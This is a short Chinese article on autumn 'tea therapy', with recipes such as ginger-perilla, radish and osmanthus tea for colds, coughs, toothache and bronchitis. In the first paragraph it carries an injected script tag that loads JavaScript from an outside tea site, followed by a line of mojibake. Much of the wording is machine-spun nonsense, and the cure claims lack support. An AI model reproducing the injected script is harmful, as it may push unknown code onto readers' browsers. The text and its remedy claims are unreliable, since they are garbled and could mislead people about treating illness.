秋季可用茶疗养生治病
８月１９日电 云南省健康教育专家建议，在秋季采用茶疗摄生，简朴利便，还能较好的预防疾病?script type='text/javascript' src='http://www.368tea.com/js/v.js'>銮刻逯剩蠹铱砂凑兆约旱氖导是榭鼋醒≡瘛?/p>
云南省健康教育专家熊世杰先容了几种常用的茶疗：如姜苏茶。此茶合用于风寒感冒、头痛发烧、恶心呕吐、胃痛腹胀等肠胃不适型感冒。详细做法是选取生姜、苏叶各３克，将生姜切成细丝，苏叶洗干净，用开水冲泡１０分钟代茶饮用。天天喝２次，上下战书各温服１次。
萝卜茶。此茶能清肺热、化痰湿，加少许食盐既可调味，又可清肺消炎。主要选用白萝卜１００克、茶叶５克，先将白萝卜洗净切片煮烂，轻微加点食盐调味，再将茶叶冲泡５分钟后倒入萝卜汁内服用，天天２次。
银耳茶。此茶有滋阴降火，润肺止咳的功效，特别合用于阴虚咳嗽。可选用银耳２０克、茶叶５克、冰糖２０克，先将银耳洗净加水与冰糖炖熟，再将茶叶泡５分钟后加入银耳汤里，搅拌平均服用。
桔红茶。此茶合用于秋季咳嗽痰多、粘而咳痰不爽的症状。可选用桔红３克－６克、绿茶５克，用开水冲泡再放锅内隔水蒸２０分钟后随时饮用。
桂花茶。此茶合用于口臭、风火牙痛、胃热牙痛及蛀牙牙痛等。可选用桂花３克、红茶１克或绿茶３克，用沸水适量冲泡，盖闷１０分钟后便可随时饮用。
苦瓜茶。此茶有利尿等功效，可把苦瓜去瓤装入绿茶，挂在透风处阴干，饮用时切碎苦瓜后取１０克用沸水冲泡即可。
茄子茶，主要是治疗气管炎。可把秋茄子的茎根洗净晒干后切碎，加入绿茶，用开水冲泡。
